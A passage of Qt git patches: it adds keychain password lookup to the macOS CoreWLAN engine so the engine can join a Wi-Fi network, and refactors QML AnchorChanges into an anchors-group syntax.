[NSNumber numberWithBool:YES], kCWScanKeyMerge, + [NSNumber numberWithInteger:100], kCWScanKeyRestTime, + qt_mac_QStringToNSString(wantedSsid), kCWScanKeySSID, + nil]; - NSDictionary *parametersDict = nil; - NSArray *apArray = [NSMutableArray arrayWithArray:[wifiInterface scanForNetworksWithParameters:parametersDict error:&err]]; + NSArray *scanArray = [NSArray arrayWithArray:[wifiInterface scanForNetworksWithParameters:scanParameters error:&err]]; if(!err) { - for(uint row=0; row < [apArray count]; row++ ) { - CWNetwork *apNetwork = [apArray objectAtIndex:row]; - if([[apNetwork ssid] compare:wantedSsid] == NSOrderedSame) { + for(uint row=0; row < [scanArray count]; row++ ) { + CWNetwork *apNetwork = [scanArray objectAtIndex:row]; + + if(wantedSsid == qt_mac_NSStringToQString([apNetwork ssid])) { + + if(!using8021X) { + SecKeychainAttribute attributes[3]; + + NSString *account = [apNetwork ssid]; + NSString *keyKind = @"AirPort network password"; + NSString *keyName = account; + + attributes[0].tag = kSecAccountItemAttr; + attributes[0].data = (void *)[account UTF8String]; + attributes[0].length = [account length]; + + attributes[1].tag = kSecDescriptionItemAttr; + attributes[1].data = (void *)[keyKind UTF8String]; + attributes[1].length = [keyKind length]; + + attributes[2].tag = kSecLabelItemAttr; + attributes[2].data = (void *)[keyName UTF8String]; + attributes[2].length = [keyName length]; + + SecKeychainAttributeList attributeList = {3,attributes}; + + SecKeychainSearchRef searchRef; + OSErr result = SecKeychainSearchCreateFromAttributes(NULL, kSecGenericPasswordItemClass, &attributeList, &searchRef); + + NSString *password = @""; + SecKeychainItemRef searchItem; + + if (SecKeychainSearchCopyNext(searchRef, &searchItem) == noErr) { + UInt32 realPasswordLength; + SecKeychainAttribute attributesW[8]; + attributesW[0].tag = kSecAccountItemAttr; + SecKeychainAttributeList listW = {1,attributesW}; + char *realPassword; + OSStatus status = SecKeychainItemCopyContent(searchItem, NULL, &listW, &realPasswordLength,(void **)&realPassword); + + if (status == noErr) { + if (realPassword != NULL) { + + QByteArray pBuf; + pBuf.resize(realPasswordLength); + pBuf.prepend(realPassword); + pBuf.insert(realPasswordLength,'\0'); + + password = [NSString stringWithUTF8String:pBuf]; + } + } + + CFRelease(searchItem); + SecKeychainItemFreeContent(&listW, realPassword); + } else { + qDebug() << "SecKeychainSearchCopyNext error"; + } + [params setValue: password forKey: kCWAssocKeyPassphrase]; + } // end using8021X + + bool result = [wifiInterface associateToNetwork: apNetwork parameters:[NSDictionary dictionaryWithDictionary:params] error:&err]; - if(!result) { - emit connectionError(id, ConnectError); + if(!err) { + if(!result) { + emit connectionError(id, ConnectError); + } else { + return; + } } else { - return; + qDebug() <<"associate ERROR"<< qt_mac_NSStringToQString([err localizedDescription ]); } } - } + } //end scan network } else { - qDebug() <<"ERROR"<< qt_mac_NSStringToQString([err localizedDescription ]); + qDebug() <<"scan ERROR"<< qt_mac_NSStringToQString([err localizedDescription ]); } - emit connectionError(id, InterfaceLookupError); } else { // not wifi @@ -413,7 +482,10 @@ QStringList QCoreWlanEngine::scanForSsids(const QString &interfaceName) if([currentInterface power]) { NSError *err = nil; - NSDictionary *parametersDict = nil; + NSDictionary *parametersDict = [NSDictionary dictionaryWithObjectsAndKeys: + [NSNumber numberWithBool:YES], kCWScanKeyMerge, + [NSNumber numberWithInt:kCWScanTypeFast], kCWScanKeyScanType, // get the networks in the scan cache + [NSNumber numberWithInteger:100], kCWScanKeyRestTime, nil]; NSArray* apArray = [currentInterface scanForNetworksWithParameters:parametersDict error:&err]; CWNetwork *apNetwork; @@ -699,8 +771,8 @@ QString QCoreWlanEngine::getSsidFromNetworkName(const QString &name) QMapIterator ij(i.value()); while (ij.hasNext()) { ij.next(); - const QString idCheck = QString::number(qHash(QLatin1String("corewlan:") +i.key())); - if(name == i.key() || name == idCheck) { + const QString networkNameHash = QString::number(qHash(QLatin1String("corewlan:") +i.key())); + if(name == i.key() || name == networkNameHash) { return ij.key(); } } -- cgit v0.12 From d373f8b8ee0a5841bcdb264b0b01b262c15e7f89 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 25 Mar 2010 15:01:30 +1000 Subject: Update AnchorChanges to use more natural form for setting anchors. Instead of specifying left, right, etc directly, we keep the regular syntax and specify anchors.left, anchors.right, etc. Also get rid of the hacky "reset" string property and use undefined to reset (like PropertyChanges). --- src/declarative/QmlChanges.txt | 2 + .../util/qdeclarativestateoperations.cpp | 474 +++++++++++++-------- .../util/qdeclarativestateoperations_p.h | 123 +++++- src/declarative/util/qdeclarativeutilmodule.cpp | 1 + .../qdeclarativestates/data/anchorChanges1.qml | 4 +- .../qdeclarativestates/data/anchorChanges2.qml | 4 +- .../qdeclarativestates/data/anchorChanges3.qml | 8 +- .../qdeclarativestates/data/anchorChanges4.qml | 4 +- .../qdeclarativestates/data/anchorChanges5.qml | 4 +- .../qdeclarativestates/tst_qdeclarativestates.cpp | 38 +- .../visual/animation/reanchor/reanchor.qml | 15 +- 11 files changed, 447 insertions(+), 230 deletions(-) diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index 2a35dda..9a55bde 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -13,6 +13,8 @@ AnchorAnimation must now be used to animate anchor changes (and not NumberAnimat Removed ParentAction (use ParentAnimation instead) ScriptAction: renamed stateChangeScriptName -> scriptName Animation: replace repeat with loops (loops: Animation.Infinite gives the old repeat behavior) +AnchorChanges: use natural form to specify anchors (anchors.left instead of left) +AnchorChanges: removed reset property. (reset: "left" should now be anchors.left: undefined) C++ API ------- diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 0bc81ee..3469136 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -609,209 +609,343 @@ QString QDeclarativeStateChangeScript::typeName() const For more information on anchors see \l {anchor-layout}{Anchor Layouts}. */ - - -class QDeclarativeAnchorChangesPrivate : public QObjectPrivate +class QDeclarativeAnchorSetPrivate : public QObjectPrivate { + Q_DECLARE_PUBLIC(QDeclarativeAnchorSet) public: - QDeclarativeAnchorChangesPrivate() : target(0) {} + QDeclarativeAnchorSetPrivate() + : usedAnchors(0), fill(0), + centerIn(0)/*, leftMargin(0), rightMargin(0), topMargin(0), bottomMargin(0), + margins(0), vCenterOffset(0), hCenterOffset(0), baselineOffset(0)*/ + { + } - QDeclarativeItem *target; - QString resetString; + QDeclarativeAnchors::UsedAnchors usedAnchors; + //### change to QDeclarativeAnchors::UsedAnchors resetAnchors QStringList resetList; + QDeclarativeItem *fill; + QDeclarativeItem *centerIn; + QDeclarativeAnchorLine left; QDeclarativeAnchorLine right; - QDeclarativeAnchorLine horizontalCenter; QDeclarativeAnchorLine top; QDeclarativeAnchorLine bottom; - QDeclarativeAnchorLine verticalCenter; + QDeclarativeAnchorLine vCenter; + QDeclarativeAnchorLine hCenter; QDeclarativeAnchorLine baseline; - QDeclarativeAnchorLine origLeft; - QDeclarativeAnchorLine origRight; - QDeclarativeAnchorLine origHCenter; - QDeclarativeAnchorLine origTop; - QDeclarativeAnchorLine origBottom; - QDeclarativeAnchorLine origVCenter; - QDeclarativeAnchorLine origBaseline; - - QDeclarativeAnchorLine rewindLeft; - QDeclarativeAnchorLine rewindRight; - QDeclarativeAnchorLine rewindHCenter; - QDeclarativeAnchorLine rewindTop; - QDeclarativeAnchorLine rewindBottom; - QDeclarativeAnchorLine rewindVCenter; - QDeclarativeAnchorLine rewindBaseline; + /*qreal leftMargin; + qreal rightMargin; + qreal topMargin; + qreal bottomMargin; + qreal margins; + qreal vCenterOffset; + qreal hCenterOffset; + qreal baselineOffset;*/ +}; - qreal fromX; - qreal fromY; - qreal fromWidth; - qreal fromHeight; +QDeclarativeAnchorSet::QDeclarativeAnchorSet(QObject *parent) + : QObject(*new QDeclarativeAnchorSetPrivate, parent) +{ +} - qreal toX; - qreal toY; - qreal toWidth; - qreal toHeight; +QDeclarativeAnchorSet::~QDeclarativeAnchorSet() +{ +} - qreal rewindX; - qreal rewindY; - qreal rewindWidth; - qreal rewindHeight; +QDeclarativeAnchorLine QDeclarativeAnchorSet::top() const +{ + Q_D(const QDeclarativeAnchorSet); + return d->top; +} - bool applyOrigLeft; - bool applyOrigRight; - bool applyOrigHCenter; - bool applyOrigTop; - bool applyOrigBottom; - bool applyOrigVCenter; - bool applyOrigBaseline; -}; +void QDeclarativeAnchorSet::setTop(const QDeclarativeAnchorLine &edge) +{ + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasTopAnchor; + d->top = edge; +} -/*! - \qmlproperty Item AnchorChanges::target - This property holds the Item whose anchors will change -*/ +void QDeclarativeAnchorSet::resetTop() +{ + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasTopAnchor; + d->top = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("top"); +} -QDeclarativeAnchorChanges::QDeclarativeAnchorChanges(QObject *parent) - : QDeclarativeStateOperation(*(new QDeclarativeAnchorChangesPrivate), parent) +QDeclarativeAnchorLine QDeclarativeAnchorSet::bottom() const { + Q_D(const QDeclarativeAnchorSet); + return d->bottom; } -QDeclarativeAnchorChanges::~QDeclarativeAnchorChanges() +void QDeclarativeAnchorSet::setBottom(const QDeclarativeAnchorLine &edge) { + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasBottomAnchor; + d->bottom = edge; } -QDeclarativeAnchorChanges::ActionList QDeclarativeAnchorChanges::actions() +void QDeclarativeAnchorSet::resetBottom() { - QDeclarativeAction a; - a.event = this; - return ActionList() << a; + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasBottomAnchor; + d->bottom = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("bottom"); } -QDeclarativeItem *QDeclarativeAnchorChanges::object() const +QDeclarativeAnchorLine QDeclarativeAnchorSet::verticalCenter() const { - Q_D(const QDeclarativeAnchorChanges); - return d->target; + Q_D(const QDeclarativeAnchorSet); + return d->vCenter; } -void QDeclarativeAnchorChanges::setObject(QDeclarativeItem *target) +void QDeclarativeAnchorSet::setVerticalCenter(const QDeclarativeAnchorLine &edge) { - Q_D(QDeclarativeAnchorChanges); - d->target = target; + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasVCenterAnchor; + d->vCenter = edge; } -QString QDeclarativeAnchorChanges::reset() const +void QDeclarativeAnchorSet::resetVerticalCenter() { - Q_D(const QDeclarativeAnchorChanges); - return d->resetString; + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasVCenterAnchor; + d->vCenter = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("verticalCenter"); } -void QDeclarativeAnchorChanges::setReset(const QString &reset) +QDeclarativeAnchorLine QDeclarativeAnchorSet::baseline() const { - Q_D(QDeclarativeAnchorChanges); - d->resetString = reset; - d->resetList = d->resetString.split(QLatin1Char(',')); - for (int i = 0; i < d->resetList.count(); ++i) - d->resetList[i] = d->resetList.at(i).trimmed(); + Q_D(const QDeclarativeAnchorSet); + return d->baseline; } -/*! - \qmlproperty AnchorLine AnchorChanges::left - \qmlproperty AnchorLine AnchorChanges::right - \qmlproperty AnchorLine AnchorChanges::horizontalCenter - \qmlproperty AnchorLine AnchorChanges::top - \qmlproperty AnchorLine AnchorChanges::bottom - \qmlproperty AnchorLine AnchorChanges::verticalCenter - \qmlproperty AnchorLine AnchorChanges::baseline +void QDeclarativeAnchorSet::setBaseline(const QDeclarativeAnchorLine &edge) +{ + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasBaselineAnchor; + d->baseline = edge; +} - These properties change the respective anchors of the item. -*/ +void QDeclarativeAnchorSet::resetBaseline() +{ + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasBaselineAnchor; + d->baseline = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("baseline"); +} -QDeclarativeAnchorLine QDeclarativeAnchorChanges::left() const +QDeclarativeAnchorLine QDeclarativeAnchorSet::left() const { - Q_D(const QDeclarativeAnchorChanges); + Q_D(const QDeclarativeAnchorSet); return d->left; } -void QDeclarativeAnchorChanges::setLeft(const QDeclarativeAnchorLine &edge) +void QDeclarativeAnchorSet::setLeft(const QDeclarativeAnchorLine &edge) { - Q_D(QDeclarativeAnchorChanges); + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasLeftAnchor; d->left = edge; } -QDeclarativeAnchorLine QDeclarativeAnchorChanges::right() const +void QDeclarativeAnchorSet::resetLeft() { - Q_D(const QDeclarativeAnchorChanges); + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasLeftAnchor; + d->left = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("left"); +} + +QDeclarativeAnchorLine QDeclarativeAnchorSet::right() const +{ + Q_D(const QDeclarativeAnchorSet); return d->right; } -void QDeclarativeAnchorChanges::setRight(const QDeclarativeAnchorLine &edge) +void QDeclarativeAnchorSet::setRight(const QDeclarativeAnchorLine &edge) { - Q_D(QDeclarativeAnchorChanges); + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasRightAnchor; d->right = edge; } -QDeclarativeAnchorLine QDeclarativeAnchorChanges::horizontalCenter() const +void QDeclarativeAnchorSet::resetRight() { - Q_D(const QDeclarativeAnchorChanges); - return d->horizontalCenter; + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasRightAnchor; + d->right = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("right"); } -void QDeclarativeAnchorChanges::setHorizontalCenter(const QDeclarativeAnchorLine &edge) +QDeclarativeAnchorLine QDeclarativeAnchorSet::horizontalCenter() const { - Q_D(QDeclarativeAnchorChanges); - d->horizontalCenter = edge; + Q_D(const QDeclarativeAnchorSet); + return d->hCenter; } -QDeclarativeAnchorLine QDeclarativeAnchorChanges::top() const +void QDeclarativeAnchorSet::setHorizontalCenter(const QDeclarativeAnchorLine &edge) { - Q_D(const QDeclarativeAnchorChanges); - return d->top; + Q_D(QDeclarativeAnchorSet); + d->usedAnchors |= QDeclarativeAnchors::HasHCenterAnchor; + d->hCenter = edge; } -void QDeclarativeAnchorChanges::setTop(const QDeclarativeAnchorLine &edge) +void QDeclarativeAnchorSet::resetHorizontalCenter() { - Q_D(QDeclarativeAnchorChanges); - d->top = edge; + Q_D(QDeclarativeAnchorSet); + d->usedAnchors &= ~QDeclarativeAnchors::HasHCenterAnchor; + d->hCenter = QDeclarativeAnchorLine(); + d->resetList << QLatin1String("horizontalCenter"); } -QDeclarativeAnchorLine QDeclarativeAnchorChanges::bottom() const +QDeclarativeItem *QDeclarativeAnchorSet::fill() const { - Q_D(const QDeclarativeAnchorChanges); - return d->bottom; + Q_D(const QDeclarativeAnchorSet); + return d->fill; } -void QDeclarativeAnchorChanges::setBottom(const QDeclarativeAnchorLine &edge) +void QDeclarativeAnchorSet::setFill(QDeclarativeItem *f) { - Q_D(QDeclarativeAnchorChanges); - d->bottom = edge; + Q_D(QDeclarativeAnchorSet); + d->fill = f; } -QDeclarativeAnchorLine QDeclarativeAnchorChanges::verticalCenter() const +void QDeclarativeAnchorSet::resetFill() { - Q_D(const QDeclarativeAnchorChanges); - return d->verticalCenter; + setFill(0); +} + +QDeclarativeItem *QDeclarativeAnchorSet::centerIn() const +{ + Q_D(const QDeclarativeAnchorSet); + return d->centerIn; } -void QDeclarativeAnchorChanges::setVerticalCenter(const QDeclarativeAnchorLine &edge) +void QDeclarativeAnchorSet::setCenterIn(QDeclarativeItem* c) +{ + Q_D(QDeclarativeAnchorSet); + d->centerIn = c; +} + +void QDeclarativeAnchorSet::resetCenterIn() +{ + setCenterIn(0); +} + + +class QDeclarativeAnchorChangesPrivate : public QObjectPrivate +{ +public: + QDeclarativeAnchorChangesPrivate() + : target(0), anchorSet(new QDeclarativeAnchorSet) {} + ~QDeclarativeAnchorChangesPrivate() { delete anchorSet; } + + QDeclarativeItem *target; + QDeclarativeAnchorSet *anchorSet; + + QDeclarativeAnchorLine origLeft; + QDeclarativeAnchorLine origRight; + QDeclarativeAnchorLine origHCenter; + QDeclarativeAnchorLine origTop; + QDeclarativeAnchorLine origBottom; + QDeclarativeAnchorLine origVCenter; + QDeclarativeAnchorLine origBaseline; + + QDeclarativeAnchorLine rewindLeft; + QDeclarativeAnchorLine rewindRight; + QDeclarativeAnchorLine rewindHCenter; + QDeclarativeAnchorLine rewindTop; + QDeclarativeAnchorLine rewindBottom; + QDeclarativeAnchorLine rewindVCenter; + QDeclarativeAnchorLine rewindBaseline; + + qreal fromX; + qreal fromY; + qreal fromWidth; + qreal fromHeight; + + qreal toX; + qreal toY; + qreal toWidth; + qreal toHeight; + + qreal rewindX; + qreal rewindY; + qreal rewindWidth; + qreal rewindHeight; + + bool applyOrigLeft; + bool applyOrigRight; + bool applyOrigHCenter; + bool applyOrigTop; + bool applyOrigBottom; + bool applyOrigVCenter; + bool applyOrigBaseline; +}; + +/*! + \qmlproperty Item AnchorChanges::target + This property holds the Item whose anchors will change +*/ + +QDeclarativeAnchorChanges::QDeclarativeAnchorChanges(QObject *parent) + : QDeclarativeStateOperation(*(new QDeclarativeAnchorChangesPrivate), parent) +{ +} + +QDeclarativeAnchorChanges::~QDeclarativeAnchorChanges() +{ +} + +QDeclarativeAnchorChanges::ActionList QDeclarativeAnchorChanges::actions() +{ + QDeclarativeAction a; + a.event = this; + return ActionList() << a; +} + +QDeclarativeAnchorSet *QDeclarativeAnchorChanges::anchors() { Q_D(QDeclarativeAnchorChanges); - d->verticalCenter = edge; + return d->anchorSet; } -QDeclarativeAnchorLine QDeclarativeAnchorChanges::baseline() const +QDeclarativeItem *QDeclarativeAnchorChanges::object() const { Q_D(const QDeclarativeAnchorChanges); - return d->baseline; + return d->target; } -void QDeclarativeAnchorChanges::setBaseline(const QDeclarativeAnchorLine &edge) +void QDeclarativeAnchorChanges::setObject(QDeclarativeItem *target) { Q_D(QDeclarativeAnchorChanges); - d->baseline = edge; + d->target = target; } +/*! + \qmlproperty AnchorLine AnchorChanges::anchors.left + \qmlproperty AnchorLine AnchorChanges::anchors.right + \qmlproperty AnchorLine AnchorChanges::anchors.horizontalCenter + \qmlproperty AnchorLine AnchorChanges::anchors.top + \qmlproperty AnchorLine AnchorChanges::anchors.bottom + \qmlproperty AnchorLine AnchorChanges::anchors.verticalCenter + \qmlproperty AnchorLine AnchorChanges::anchors.baseline + + These properties change the respective anchors of the item. + + To reset an anchor you can assign \c undefined: + \qml + AnchorChanges { + target: myItem + left: undefined //remove myItem's left anchor + right: otherItem.right + } + \endqml +*/ + void QDeclarativeAnchorChanges::execute() { Q_D(QDeclarativeAnchorChanges); @@ -835,36 +969,36 @@ void QDeclarativeAnchorChanges::execute() d->target->anchors()->setBaseline(d->origBaseline); //reset any anchors that have been specified - if (d->resetList.contains(QLatin1String("left"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("left"))) d->target->anchors()->resetLeft(); - if (d->resetList.contains(QLatin1String("right"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("right"))) d->target->anchors()->resetRight(); - if (d->resetList.contains(QLatin1String("horizontalCenter"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("horizontalCenter"))) d->target->anchors()->resetHorizontalCenter(); - if (d->resetList.contains(QLatin1String("top"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("top"))) d->target->anchors()->resetTop(); - if (d->resetList.contains(QLatin1String("bottom"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("bottom"))) d->target->anchors()->resetBottom(); - if (d->resetList.contains(QLatin1String("verticalCenter"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("verticalCenter"))) d->target->anchors()->resetVerticalCenter(); - if (d->resetList.contains(QLatin1String("baseline"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("baseline"))) d->target->anchors()->resetBaseline(); //set any anchors that have been specified - if (d->left.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setLeft(d->left); - if (d->right.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setRight(d->right); - if (d->horizontalCenter.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setHorizontalCenter(d->horizontalCenter); - if (d->top.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setTop(d->top); - if (d->bottom.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setBottom(d->bottom); - if (d->verticalCenter.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setVerticalCenter(d->verticalCenter); - if (d->baseline.anchorLine != QDeclarativeAnchorLine::Invalid) - d->target->anchors()->setBaseline(d->baseline); + if (d->anchorSet->d_func()->left.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setLeft(d->anchorSet->d_func()->left); + if (d->anchorSet->d_func()->right.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setRight(d->anchorSet->d_func()->right); + if (d->anchorSet->d_func()->hCenter.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setHorizontalCenter(d->anchorSet->d_func()->hCenter); + if (d->anchorSet->d_func()->top.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setTop(d->anchorSet->d_func()->top); + if (d->anchorSet->d_func()->bottom.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setBottom(d->anchorSet->d_func()->bottom); + if (d->anchorSet->d_func()->vCenter.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setVerticalCenter(d->anchorSet->d_func()->vCenter); + if (d->anchorSet->d_func()->baseline.anchorLine != QDeclarativeAnchorLine::Invalid) + d->target->anchors()->setBaseline(d->anchorSet->d_func()->baseline); } bool QDeclarativeAnchorChanges::isReversable() @@ -879,19 +1013,19 @@ void QDeclarativeAnchorChanges::reverse() return; //reset any anchors set by the state - if (d->left.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->left.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetLeft(); - if (d->right.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->right.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetRight(); - if (d->horizontalCenter.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->hCenter.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetHorizontalCenter(); - if (d->top.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->top.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetTop(); - if (d->bottom.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->bottom.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetBottom(); - if (d->verticalCenter.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->vCenter.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetVerticalCenter(); - if (d->baseline.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->baseline.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetBaseline(); //restore previous anchors @@ -977,26 +1111,26 @@ void QDeclarativeAnchorChanges::copyOriginals(QDeclarativeActionEvent *other) QDeclarativeAnchorChangesPrivate *acp = ac->d_func(); //probably also need to revert some things - d->applyOrigLeft = (acp->left.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("left"))); + d->applyOrigLeft = (acp->anchorSet->d_func()->left.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("left"))); - d->applyOrigRight = (acp->right.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("right"))); + d->applyOrigRight = (acp->anchorSet->d_func()->right.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("right"))); - d->applyOrigHCenter = (acp->horizontalCenter.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("horizontalCenter"))); + d->applyOrigHCenter = (acp->anchorSet->d_func()->hCenter.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("horizontalCenter"))); - d->applyOrigTop = (acp->top.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("top"))); + d->applyOrigTop = (acp->anchorSet->d_func()->top.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("top"))); - d->applyOrigBottom = (acp->bottom.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("bottom"))); + d->applyOrigBottom = (acp->anchorSet->d_func()->bottom.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("bottom"))); - d->applyOrigVCenter = (acp->verticalCenter.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("verticalCenter"))); + d->applyOrigVCenter = (acp->anchorSet->d_func()->vCenter.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("verticalCenter"))); - d->applyOrigBaseline = (acp->baseline.anchorLine != QDeclarativeAnchorLine::Invalid || - acp->resetList.contains(QLatin1String("baseline"))); + d->applyOrigBaseline = (acp->anchorSet->d_func()->baseline.anchorLine != QDeclarativeAnchorLine::Invalid || + acp->anchorSet->d_func()->resetList.contains(QLatin1String("baseline"))); d->origLeft = ac->d_func()->origLeft; d->origRight = ac->d_func()->origRight; @@ -1034,35 +1168,35 @@ void QDeclarativeAnchorChanges::clearBindings() d->target->anchors()->resetBaseline(); //reset any anchors that have been specified - if (d->resetList.contains(QLatin1String("left"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("left"))) d->target->anchors()->resetLeft(); - if (d->resetList.contains(QLatin1String("right"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("right"))) d->target->anchors()->resetRight(); - if (d->resetList.contains(QLatin1String("horizontalCenter"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("horizontalCenter"))) d->target->anchors()->resetHorizontalCenter(); - if (d->resetList.contains(QLatin1String("top"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("top"))) d->target->anchors()->resetTop(); - if (d->resetList.contains(QLatin1String("bottom"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("bottom"))) d->target->anchors()->resetBottom(); - if (d->resetList.contains(QLatin1String("verticalCenter"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("verticalCenter"))) d->target->anchors()->resetVerticalCenter(); - if (d->resetList.contains(QLatin1String("baseline"))) + if (d->anchorSet->d_func()->resetList .contains(QLatin1String("baseline"))) d->target->anchors()->resetBaseline(); //reset any anchors that we'll be setting in the state - if (d->left.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->left.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetLeft(); - if (d->right.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->right.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetRight(); - if (d->horizontalCenter.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->hCenter.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetHorizontalCenter(); - if (d->top.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->top.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetTop(); - if (d->bottom.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->bottom.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetBottom(); - if (d->verticalCenter.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->vCenter.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetVerticalCenter(); - if (d->baseline.anchorLine != QDeclarativeAnchorLine::Invalid) + if (d->anchorSet->d_func()->baseline.anchorLine != QDeclarativeAnchorLine::Invalid) d->target->anchors()->resetBaseline(); } diff --git a/src/declarative/util/qdeclarativestateoperations_p.h b/src/declarative/util/qdeclarativestateoperations_p.h index 66a8717..c97b2da 100644 --- a/src/declarative/util/qdeclarativestateoperations_p.h +++ b/src/declarative/util/qdeclarativestateoperations_p.h @@ -143,54 +143,132 @@ public: virtual void execute(); }; -class QDeclarativeAnchorChangesPrivate; -class Q_DECLARATIVE_EXPORT QDeclarativeAnchorChanges : public QDeclarativeStateOperation, public QDeclarativeActionEvent +class QDeclarativeAnchorChanges; +class QDeclarativeAnchorSetPrivate; +class Q_AUTOTEST_EXPORT QDeclarativeAnchorSet : public QObject { Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarativeAnchorChanges) - Q_PROPERTY(QDeclarativeItem *target READ object WRITE setObject) - Q_PROPERTY(QString reset READ reset WRITE setReset) - Q_PROPERTY(QDeclarativeAnchorLine left READ left WRITE setLeft) - Q_PROPERTY(QDeclarativeAnchorLine right READ right WRITE setRight) - Q_PROPERTY(QDeclarativeAnchorLine horizontalCenter READ horizontalCenter WRITE setHorizontalCenter) - Q_PROPERTY(QDeclarativeAnchorLine top READ top 